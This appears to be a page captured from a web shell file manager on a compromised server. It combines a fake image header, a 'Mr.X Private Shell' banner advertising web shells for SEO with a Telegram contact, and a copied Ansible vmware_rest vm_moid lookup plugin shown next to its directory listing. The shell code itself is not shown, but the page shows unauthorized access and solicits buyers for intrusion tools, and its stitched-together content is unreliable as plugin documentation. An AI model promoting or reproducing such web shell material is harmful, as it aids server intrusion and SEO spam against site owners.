����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# Copyright: (c) 2021, Alina Buzachis <@alinabuzachis>
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import absolute_import, division, print_function
__metaclass__ = type
DOCUMENTATION = r"""
name: vm_moid
short_description: Look up MoID for vSphere vm objects using vCenter REST API
description:
- Returns Managed Object Reference (MoID) of the vSphere vm object contained in the specified path.
author:
- Alina Buzachis (@alinabuzachis)
version_added: 2.1.0
requirements:
- vSphere 7.0.2 or greater
- python >= 3.6
- aiohttp
extends_documentation_fragment:
- vmware.vmware_rest.moid
"""
EXAMPLES = r"""
# lookup sample
- name: set connection info
ansible.builtin.set_fact:
connection_args:
vcenter_hostname: "vcenter.test"
vcenter_username: "administrator@vsphere.local"
vcenter_password: "1234"
- name: lookup MoID of the object
ansible.builtin.debug: msg="{{ lookup('vmware.vmware_rest.vm_moid', '/my_dc/host/my_cluster/esxi1.test/test_vm1', **connection_args) }}"
- name: lookup MoID of the object inside the path
ansible.builtin.debug: msg="{{ lookup('vmware.vmware_rest.vm_moid', '/my_dc/vm/') }}"
"""
RETURN = r"""
_raw:
description: MoID of the vSphere vm object
type: str
sample: vm-1026
"""
from ansible_collections.vmware.vmware_rest.plugins.plugin_utils.lookup import (
Lookup,
get_credentials,
)
from ansible_collections.cloud.common.plugins.plugin_utils.turbo.lookup import (
TurboLookupBase as LookupBase,
)
class LookupModule(LookupBase):
async def _run(self, terms, variables, **kwargs):
self.set_options(var_options=variables, direct=get_credentials(**kwargs))
self.set_option("object_type", "vm")
result = await Lookup.entry_point(terms, self._options)
return [result]
run = _run if not hasattr(LookupBase, "run_on_daemon") else LookupBase.run_on_daemon
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| cluster_moid.py | File | 1.95 KB | 0644 |
|
| datacenter_moid.py | File | 1.95 KB | 0644 |
|
| datastore_moid.py | File | 2 KB | 0644 |
|
| folder_moid.py | File | 1.94 KB | 0644 |
|
| host_moid.py | File | 1.94 KB | 0644 |
|
| network_moid.py | File | 1.95 KB | 0644 |
|
| resource_pool_moid.py | File | 2.04 KB | 0644 |
|
| vm_moid.py | File | 1.92 KB | 0644 |
|